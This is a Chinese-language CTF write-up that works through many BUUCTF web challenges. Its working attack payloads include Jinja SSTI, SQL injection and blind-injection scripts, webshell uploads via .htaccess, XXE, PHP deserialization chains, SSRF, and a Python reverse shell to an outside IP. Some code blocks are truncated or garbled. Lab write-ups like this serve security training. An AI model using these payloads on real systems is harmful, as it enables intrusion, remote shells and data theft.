BUU CTF web(三)

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')

def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

/shrine/路径下可以模板注入

http://c5d52eaf-29bb-49b6-81fc-c82fe18f6826.node3.buuoj.cn/shrine/{{1+1}}

源码中注册了一个名为FLAG的config

但黑名单把config、self循环遍历并替换为空,所以读取不到

python内置函数

  • url_for

    /shrine/{{url_for.__globals__}}
    
    /shrine/{{url_for.__globals__['current_app'].config}}
    
  • get_flasher_messages

    /shrine/{{get_flashed_messages.__globals__['current_app'].config}}
    

[SWPU2019]Web1

广告名处二次注入,且ban掉了注释,只能闭合引号注入

1'	//查看广告详情报错
1'' //查看广告详情正常

/**/绕过空格过滤

空格过滤的基本操作

order by中含or,也被ban了,可以用group by代替

-1'/**/group/**/by/**/22,'1

联合查询

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

mysqlinnodb_table_stats

https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

无列名注入

参考链接:

https://www.jianshu.com/p/dc9af4ca2d06

https://www.anquanke.com/post/id/193512

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[GXYCTF2019]BabySQli

select * from user where username = '$name'

union select查询可知有三个字段

BUU CTF web(三)_第1张图片

后端代码


知识点

当查询的数据不存在时,联合查询就会构造一个虚拟的数据

输入admin,密码为md5(123456),代入查询时MySQL里面就会生成admin,123456的用户

同时使用123456密码进行登录,就可以绕过限制

name='union select 1,"admin","e10adc3949ba59abbe56e057f20f883e";#&pw=123456

BUU CTF web(三)_第2张图片

[GYCTF2020]Blacklist

这道题是以强网杯为原型的堆叠注入

1';show tables;

BUU CTF web(三)_第3张图片

1';show columns from `FlagHere`;

BUU CTF web(三)_第4张图片

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;

BUU CTF web(三)_第5张图片

[CISCN 2019 初赛]Love Math

= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

PHP函数

  • scandir():返回指定目录中的文件和目录的数组
  • base_convert():在任意进制之间转换数字
  • dechex():把十进制转换为十六进制
  • hex2bin():把十六进制字符串转换为ASCII字符
  • var_dump():输出变量的相关信息
  • readfile():输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false

动态函数

PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数

$function = "sayHello";
$function();

getallheaders

函数用于包含当前请求所有头中信息的数组,失败返回FALSE

payload:`` p i = b a s e c o n v e r t , pi=base_convert, pi=baseconvert,pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

据说是可以在header中写入cat flag.php带出flag,但我本地没有成功

最终payload:

http://833b3035-65c8-45f0-aef4-8214e5f05661.node3.buuoj.cn/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

robots.txt:

User-agent: *
Disallow: *.php.bak

最终在image.php.bak找到源码泄露

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

构造payload:

image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23

得知密码长度为20位,附上sql盲注脚本

import requests
import time

url = r'http://13f181de-393c-4dc4-b511-cf4ab608c75f.node3.buuoj.cn/image.php'
result = ''

for x in range(0, 20):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
        params = {
			'id':'\\\\0',
			'path':payload
		}
        response = requests.get(url, params=params)
        time.sleep(2)
        print(payload)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

BUU CTF web(三)_第6张图片

随便上传一张图片后发现文件名被写入日志

短标签绕过php过滤

PHP开启短标签即short_open_tag=on时,可以使用输出变量

filename=""

BUU CTF web(三)_第7张图片

菜刀连一下,在根目录找到flag

[V&N2020 公开赛]HappyCTFd

CVE-2020-7245 CTFd账号接管

  • 添加空格绕过限制来注册一个与受害者用户名相同的账号
  • 生成忘记密码链接发送到自己的邮箱
  • 重置密码,用admin账号和重置的密码登录,寻找flag

BUU CTF web(三)_第8张图片

CVE-2020-7245 CTFd v2.0.0-v2.2.2 account takeover分析

[GWCTF 2019]枯燥的抽奖

check.php

".$str_show."

"; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "

抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}

"; } else{ echo "

没抽中哦,再试试吧

"; } } show_source("check.php");

php伪随机数

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Fmaj0100xE'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print res

得到伪随机数序列

41 41 0 61 12 12 0 61 0 0 0 61 9 9 0 61 26 26 0 61 27 27 0 61 26 26 0 61 26 26 0 61 23 23 0 61 40 40 0 61

php_mt_seed跑一下,得到随机数种子为468879187
BUU CTF web(三)_第9张图片


得到密码

[CISCN2019 华北赛区 Day2 Web1]Hack World

异或注入

https://www.jianshu.com/p/27df5c67157c

1^1^1	//返回1
1^0^1	//返回0

sql盲注脚本

import requests
import time

url = "http://83b5c157-8a59-4ee0-b07d-90e16a32f156.node3.buuoj.cn/index.php"

result = ''
for i in range(40, 50):
    for j in range(32, 127):
        payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
        print(payload)
        r = requests.post(url, data = {'id': payload})
        time.sleep(2)

        if r.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break

print(result)

[极客大挑战 2019]FinalSQL

异或注入

import re
import requests
import string
import time
 
url = "http://88558fb8-9ead-4106-b960-9c0e4ef5aecb.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    time.sleep(2)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)

[SUCTF 2019]EasyWeb

构造不包含数字和字母的webshell

  • 异或构造
  • 取反构造
  • 自增构造
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

文件上传绕过

nginx:.user.ini
apache:.htaccess

.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效

#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"

shell.abc

GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

GIF89a后面的12是为了补足8字节,满足base64编码规则

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"")
url = "http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

绕过open_basedir/disable_function

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

Payload

http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));

参考链接

https://www.cnblogs.com/wangtanzhi/p/12250386.html

[GXYCTF2019]BabyUpload

.htaccess

SetHandler application/x-httpd-php

shell.jpg

GIF89a

[网鼎杯 2018]Comment

git源码恢复

0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

首先到登录页面,爆破得到密码为zhangwei666

二次注入

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
    set category = '$category',
	title = '$title',
	content = '$content'";
$category = mysql_fetch_array($result)['category'];

category在插入的时候进行了过滤,而在取出来的时候并没有过滤,这就造成了二次注入

category:123',content=user(),/*
留言:*/#
$sql = "insert into comment
	set category = '123',content=user(),/*',
	content = '*/#',
	bo_id = '$bo_id'";

BUU CTF web(三)_第10张图片

SQL读取文件

用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

读取/etc/passwd

123',content=(select(load_file('/etc/passwd'))),/*

读取.bash_history

123',content=(select(load_file('/home/www/.bash_history'))),/*

读取.DS_Store

123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

读取flag

123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

[V&N2020 公开赛]CHECKIN

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

nc监听1234端口,payload如下:

/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.2.1.129",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
cat /proc/*/fd/*

反弹shell的几种方法

https://www.smi1e.top/linux-%E5%8F%8D%E5%BC%B9shell%E6%96%B9%E6%B3%95

[极客大挑战 2019]RCE ME

40){
            die("This is too Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>

无数字字母RCE

phpinfo

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

shell

code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

disable_functions
BUU CTF web(三)_第11张图片

[2020 新春红包题]1

 key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

payload

store = new B();
        $this->key = '/../wtz.phtml';
        $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
    }
}
class B{
    public $options = [
        'serialize' => 'system',
        'prefix' => 'sssss',
    ];
}
echo urlencode(serialize(new A()));

//data=O%3A1%3A"A"%3A5%3A{s%3A8%3A"%00*%00store"%3BO%3A1%3A"B"%3A1%3A{s%3A7%3A"options"%3Ba%3A2%3A{s%3A9%3A"serialize"%3Bs%3A6%3A"system"%3Bs%3A6%3A"prefix"%3Bs%3A5%3A"sssss"%3B}}s%3A6%3A"%00*%00key"%3Bs%3A13%3A"%2F..%2Fwtz.phtml"%3Bs%3A9%3A"%00*%00expire"%3BN%3Bs%3A5%3A"cache"%3Ba%3A2%3A{s%3A4%3A"path"%3Bs%3A1%3A"a"%3Bs%3A7%3A"dirname"%3Bs%3A32%3A"`cat+%2Fflag+>+.%2Fuploads%2Fflag.php`"%3B}s%3A8%3A"complete"%3Bb%3A1%3B}

访问/uploads/flag.php得到flag

[NCTF2019]Fake XML cookbook

XXE

 

]>
&xxe;admin

BUU CTF web(三)_第12张图片

 

]>
&xxe;admin

BUU CTF web(三)_第13张图片

[NCTF2019]True XML cookbook

XXE读取ARP表


]>
&xxe;admin

扫内网


]>
&xxe;admin

BUU CTF web(三)_第14张图片

[RoarCTF 2019]Online Proxy

XFF注入

import requests
import time

url = "http://node3.buuoj.cn:25884/"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=602832fa-679e-449d-f31d-92f05fefa7a6",
	"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select F4l9_C01uMn from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1),{0},1))>{1} or '0"
for i in range(1,100):
	l = 1
	r = 127
	mid = (l+r)>>1
	while(l>1
	if(chr(mid)==' '):
		break
	result+=chr(mid)
	print(result)
print("table_name:"+result)

[FBCTF2019]RCEService


'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'; } else { echo 'Attempting to run command:
'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'; } } ?>

json格式命令

{"cmd":"ls"}

preg_match匹配

preg_match函数只会匹配第一行,可以用%0A换行

源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令

{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

pcre回溯限制绕过

参考p牛PHP利用PCRE回溯次数限制绕过某些安全限制

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

[GYCTF2020]FlaskApp

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

在base64加密处提交{{1-1}},将得到的编码拿去解密后得到0,存在ssti

读源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

发现flag和os被过滤

字符串拼接查找目录

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

字符串切片读取this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[BJDCTF 2nd]文件探测

php伪协议读取源代码

home.php?file=php://filter/read=convert.base64-encode/resource=home
home.php
";
        require $file;
    }
} else {
    echo "";
}

读取system.php

alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '       Error:  url invalid
~$ '; $str3 = '       Error:  damn hacker!
~$ '; $str4 = '       Error:  request method error
~$ '; ?> File Detector

File Detector

@颖奇L'Amore

"; echo $str1; if (!preg_match($filter1, $url) ){ die($str2); } if (preg_match($filter2, $url)) { die($str3); } if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) { die($str4); } $detect = @file_get_contents($url, false); print(sprintf("$url method&content_size:$method%d", $detect)); } ?>

主要思路是 让$detect以字符串形式输出,有两种读取admin.php的方法

  • %1$s

    %1$s会将第一个参数用string类型输出

    print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s会以字符串格式输出$detect,而%d会输出0
    
  • %s%,sprintf()函数中%可以转义掉%

    print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被转义,因此失
    

payload

POST:q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s

得到admin.php的源码

403 Forbidden

only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR']; } $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']); if (isset($_GET['decrypt'])) { //只要传入decrypt参数就不会生成随机数 $decr = $_GET['decrypt']; if (Check()){ $data = $_SESSION['secret']; include 'flag_2sln2ndln2klnlksnf.php'; $cipher = aesEn($data, 'y1ng'); //注意!这里加密的内容是从SESSION中取的,突破点就在这里 if ($decr === $cipher){ echo WHAT_YOU_WANT; } else { die('爬'); } } else{ header("Refresh:0.1;url=index.php"); } } else { //I heard you can break PHP mt_rand seed mt_srand(rand(0,9999999)); //这里的种子是真随机了,无法爆破 $length = mt_rand(40,80); $_SESSION['secret'] = bin2hex(random_bytes($length)); } ?>

session绕过

删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。

所以只要我们在访问admin.php时,删除session访问,代码就会变成:

$cipher = aesEn(NULL, 'y1ng');

加密算法

function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('174.0.0.201',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng')
//NjsmGkorj5yvvA4w11R3FA==
admin.php?decrypt=NjsmGkorj5yvvA4w11R3FA%3d%3d

[BSidesCF 2020]Had a bad day

  

php://filter伪协议嵌套

payload

category=php://filter/read=convert.base64-encode/woofers/resource=flag

[RoarCTF 2019]Simple Upload

Think PHP upload()多文件上传

think PHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。

文件名爆破

先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

php伪协议读取源码

index.php


search.php

query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "

姓名:".$row['user_name']."

, 电话:".$row['phone']."

, 地址:".$row['address']."

"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; }

change.php

query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

confirm.php

query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

二次注入

change.php

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

在地址被更新的同时,旧地址被存了下来,造成二次注入

payload

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,25)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),26,50)),0x7e),1)#

[CISCN2019 华东南赛区]Web11

Smarty模板SSTI

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()

x-forwarded-for:{if phpinfo()}{/if}

BUU CTF web(三)_第15张图片

payload

{if system("cat /flag")}{/if}

bestphp’s revenge


session反序列化->soap(ssrf+crlf)->call_user_func激活soap类

  • SoapClient触发反序列化导致ssrf

  • serialize_hander处理session方式不当导致session注入

  • CRLF漏洞

通过反序列化调用SoapClient向flag.php发送请求,那么就可以实现ssrf

接下要解决的问题是:

  • 在哪触发反序列化
  • 如何控制反序列化的内容

这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先用extract()将b覆盖成call_user_func()reset($_SESSION)就是$_SESSION['name'],我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

payload

 $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=991m9bf41ue8k3bctirr5mm8m4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D991m9bf41ue8k3bctirr5mm8m4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

先注入poc得到的session

BUU CTF web(三)_第16张图片

再触发反序列化使SoapClient发送请求

BUU CTF web(三)_第17张图片

携带poc中的cookie访问即可得到flag

BUU CTF web(三)_第18张图片

[DDCTF 2019]homebrew event loop

逻辑漏洞:

异步处理导致可以先调用增加钻石,再调用计算价钱的。也就是先货后款。

eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#arg3这样注释后面语句并可以调用任意函数,分号后面的#为传入参数,参数通过#被分割为参数列表.

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
